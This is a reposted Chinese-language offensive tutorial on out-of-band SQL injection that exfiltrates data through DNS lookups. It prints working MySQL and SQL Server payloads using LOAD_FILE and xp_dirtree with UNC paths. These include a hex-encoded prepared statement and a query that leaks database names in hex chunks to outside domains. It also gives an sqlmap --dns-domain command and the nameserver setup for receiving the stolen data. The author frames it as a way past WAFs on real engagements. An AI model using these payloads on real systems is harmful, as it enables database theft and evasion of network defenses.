sqlmap利用DNS進行oob(out of band)注入(轉)


 

0x00 起因

實際案子的時候遇到了一個注入,過狗可以使用sqlmap,但是是基於時間的注入和限制頻率需要使用--delay參數,本來就是延時再加上--delay等的心力憔悴。所有有了下面介紹使用sqlmap利用DNS進行oob(out of band)注入,快速出數據。一般情況下僅適用於windows平台

0x01 場景

你有沒有遇到這樣類似的注入場景。
1、時間盲注,數據庫、表及字段內容特別多,等到花兒也謝了。
2、mysql5.6+只能使用mysqlipdo連接方式,多推薦使用pdo連接。使用pdo連接方式,可以執行多語句,但是PDO只會返回第一條SQL語句的執行結果,所以一般不能直接拿到數據,被迫通過update某個可見字段或者sleep注入
3、遇到waf攔截,含有特定內容的返回包接受不到,明明測試沒有攔截過濾,感覺執行成功了,卻沒有接收到返回數據(能執行命令的時候也可以向web目錄寫文件)

0x02 原理

使用unc路徑,會對指定的域名進行dns查詢,使用dns信道,配合dns服務器收到的數據可快速得到數據內容。
使用dns有一定的好處,可以突破主機網絡隔離,例如dmz主機不能直接連外網,但是配置的網絡可達的dns服務器往往可以,通過查詢域名遞歸的方式,dns服務器可以將返回數據通過dns協議帶出去。
unc路徑是windows下的特性,默認安裝的linux下不存在這樣的功能。

流程圖如下:

mysql使用pdo鏈接數據庫盲注判斷是否成功的測試語句(普通的注入也可以參考)

SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc')); select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));") set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a; 

mysql的使用場景:

之前抓到國內dns遞歸的上層dns服務器有360、tencent、ali的,如果我有一個這樣的節點dns服務器,肯定可以收獲很多羞羞的網站,想想還有點小激動呢≥▽≤
sqlserver可以使用以下方式

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"') 

sqlserver的使用場景:

0x03 手工測試遇到的問題及解決方案

  1. 因為存在dns緩存,請求過一次域名后,會在本機產生dns記錄,不會向外遞歸查詢,所以unc路徑中DNS域名不能相同
  2. unc路徑長度不能過長,通過sqlserver報錯顯示
    以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 開頭的 標識符 太長。最大長度為 128。
    可知unc路徑最大長度為128
  3. unc路徑中不能含有空格等特殊字符,包含的話不會發送dns請求

sqlserver的注入為例,參考sqlmap給出的方案解決

'; DECLARE @host varchar(1024); SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')-- 
  1. 通過在域名中添加隨機字符串'rMy','Nrz'確保每次查詢dns不存在緩存
  2. 通過使用substring()函數每次傳輸特定位數的數據
  3. 通過使用master.dbo.fn_varbintohexstr()存儲過程對獲得數據進行16禁止編碼

0x04 使用sqlmap的dns-domain參數進行oob注入

這么方便快捷的注入方式怎么會沒有自動化的工具,仔細看過sqlmap文檔的同學肯定知道--dns-domain的參數,這就是sqlmap集成的利用dns進行oob注入的方法

使用方法:sqlmap使用--dns-domain參數時候會監聽53端口,我們需要把我們獲得數據所使用的域名的dns服務器配置到我們運行sqlmap的主機,就可以獲得dns外帶的數據。

因為配置dns服務器的時候也需要dns,所以我們需要兩個域名,詳細配置如下:

配置我們的用於解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我們運行sqlmap的主機ip,這里我使用*通配符配置A記錄

配置我們用於外帶數據的域名rainism.cc的域名服務器為ns1.xxx.comns2.xxx.com

我們在外網的vps上執行如下命令
sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3
可以看到sqlmap執行的語句和返回的數據

使用tcpdump監聽53端口,可以看到回傳的數據內容

 
原文鏈接地址:https://mp.weixin.qq.com/s/nCvrk6NEb_lDv7MXdXn3vA

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM